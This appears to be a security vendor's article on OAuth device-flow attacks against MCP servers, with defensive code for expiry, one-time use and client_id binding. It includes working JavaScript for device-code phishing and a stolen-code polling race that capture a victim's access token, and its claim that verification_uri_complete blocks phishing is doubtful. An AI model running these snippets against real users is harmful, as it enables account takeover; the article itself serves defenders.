Topic: MCP server OAuth device flow security
MCP server OAuth device flow security — phishing and polling attacks
MCP servers deployed as CLI tools or desktop applications frequently use OAuth 2.0 device authorization flow (RFC 8628) for authentication — showing the user a code to enter at a URL rather than opening a redirect. The flow has two attack surfaces unique to device auth: device code phishing (tricking users into authorizing a code issued to an attacker) and polling window attacks (racing to exchange a legitimate code before the owner completes authorization). Both attacks result in the attacker obtaining a valid access token for the victim's account.
How device authorization flow works in MCP
The standard flow for an MCP server that needs delegated access to a service:
- MCP server calls
POST /oauth/device/codeon the authorization server — receivesdevice_code,user_code,verification_uri, andexpires_in - Server displays
user_codeandverification_urito the user ("Go to example.com/activate and enter: ABCD-1234") - User visits the URI in their browser, authenticates, and enters the code
- Meanwhile, the MCP server polls
POST /oauth/tokenwith thedevice_codeeveryintervalseconds - Once the user completes authorization, the token endpoint returns an access token
The design assumption is that the user independently navigates to the verification_uri and enters the code they see in their trusted terminal. The attack surfaces arise when that assumption is violated.
Attack 1: Device code phishing
An attacker initiates a device authorization flow against the target service under their own control:
// Attacker initiates a device flow request
const resp = await fetch('https://auth.service.com/oauth/device/code', {
method: 'POST',
body: new URLSearchParams({
client_id: ATTACKER_CLIENT_ID,
scope: 'read write admin'
})
});
const { device_code, user_code, verification_uri, expires_in } = await resp.json();
// user_code = "WXYZ-9876"
// verification_uri = "https://auth.service.com/activate"
// Attacker sends a phishing message to the victim:
// "Please authenticate your MCP connection at https://auth.service.com/activate
// and enter code: WXYZ-9876"
// While victim is being phished, attacker polls for the token:
while (true) {
const token = await fetch('https://auth.service.com/oauth/token', {
method: 'POST',
body: new URLSearchParams({
grant_type: 'urn:ietf:params:oauth:grant-type:device_code',
device_code: device_code,
client_id: ATTACKER_CLIENT_ID
})
});
const data = await token.json();
if (data.access_token) {
// Victim completed authorization — attacker now holds their token
console.log('Token obtained:', data.access_token);
break;
}
await sleep(5000); // poll every 5 seconds per interval
}
The victim sees a legitimate-looking authorization page (it is legitimate — it is the real authorization server) and approves the request. The attacker's polling loop receives the token. The victim believes they authorized their own MCP connection; they actually authorized the attacker's client.
Attack 2: Polling window token race
When a legitimate user_code is obtained by an attacker — through shoulder surfing, log exfiltration, or a network interception — they race the legitimate server's polling loop to redeem the code first. The window is the expires_in period of the device code, typically 15 minutes. The attacker runs their own polling loop targeting the same authorization server:
// Attacker has the device_code (stolen from logs, terminal output, network sniff)
// They need their own client_id that the auth server accepts
// Some auth servers accept any registered client_id against any device_code
const stolenDeviceCode = 'GH5K...'; // obtained by attacker
while (true) {
const resp = await fetch('https://auth.service.com/oauth/token', {
method: 'POST',
body: new URLSearchParams({
grant_type: 'urn:ietf:params:oauth:grant-type:device_code',
device_code: stolenDeviceCode,
client_id: ATTACKER_CLIENT_ID // attacker's registered client
})
});
if ((await resp.json()).access_token) break;
await sleep(2000);
}
This works against authorization servers that do not bind device_code to the client_id that originally requested it — a common implementation shortcut. RFC 8628 requires binding (section 3.4), but many implementations omit this check.
Defense 1: Use verification_uri_complete
verification_uri_complete (an optional RFC 8628 field) pre-fills the user code in the URL, so the user never needs to manually type a code — they simply visit the URL and click Approve. An attacker cannot embed a phishing code in a verification_uri_complete URL they control, because the legitimate authorization server's URL is the only one that triggers a real authorization grant.
// Show the user the complete URL, not just the code
const { verification_uri_complete, user_code, expires_in } = deviceCodeResponse;
if (verification_uri_complete) {
console.log(`Authorize at: ${verification_uri_complete}`);
// User clicks the link — code is pre-filled — they just approve
// No manual code entry = no phishable code display
} else {
// Fallback to manual code (warn the user that this flow is phishable)
console.log(`Go to ${verification_uri} and enter: ${user_code}`);
console.warn('Warning: manual code entry is required. Verify the URL before approving.');
}
MCP servers that initiate device flows should check for verification_uri_complete and prefer it. If the authorization server does not provide it, document this in the server's security disclosure and advise users to verify the URL hostname before approving.
Defense 2: Short expiry and one-time use enforcement
Device codes should expire as quickly as usable — RFC 8628 recommends no more than 15 minutes, but for MCP use cases 5 minutes is more appropriate. Additionally, once the code is used (either approved or denied), it must be invalidated immediately and future polls rejected:
// Authorization server implementation: enforce short expiry + one-time use
async function createDeviceCode(clientId: string): Promise {
const expiresIn = 300; // 5 minutes — not 15 minutes
const deviceCode = crypto.randomBytes(32).toString('base64url');
const userCode = generateUserCode(); // e.g. "ABCD-1234"
await db.run(
'INSERT INTO device_codes (device_code, user_code, client_id, expires_at, used) VALUES (?, ?, ?, ?, 0)',
[deviceCode, userCode, clientId, Date.now() + expiresIn * 1000]
);
return { device_code: deviceCode, user_code: userCode, expires_in: expiresIn };
}
async function completeAuthorization(userCode: string, userId: string): Promise {
const grant = await db.get(
'SELECT * FROM device_codes WHERE user_code = ? AND expires_at > ? AND used = 0',
[userCode, Date.now()]
);
if (!grant) throw new Error('Invalid or expired code');
// Mark as used BEFORE issuing the token — prevents polling race
await db.run('UPDATE device_codes SET used = 1, user_id = ? WHERE user_code = ?', [userId, userCode]);
}
The critical ordering: mark the code as used before issuing the token. This prevents the TOCTOU race where two simultaneous redemptions both see used = 0 and both receive a token.
Defense 3: Bind device_code to client_id
Per RFC 8628 §3.4, the authorization server must verify that the client_id in the token endpoint request matches the client_id that requested the device_code:
async function redeemDeviceCode(deviceCode: string, clientId: string) {
const grant = await db.get(
'SELECT * FROM device_codes WHERE device_code = ? AND client_id = ? AND expires_at > ? AND used = 0',
[deviceCode, clientId, Date.now()]
// ^^^^^^^^
// client_id binding — prevents cross-client redemption
);
if (!grant) return { error: 'invalid_grant' };
// ...
}
SkillAudit checks MCP servers that implement device authorization flow for client_id binding in the token endpoint logic. Absence of this check is a High-severity finding.
Audit your MCP server's OAuth device flow implementation for phishing and polling risks.
Run a free audit →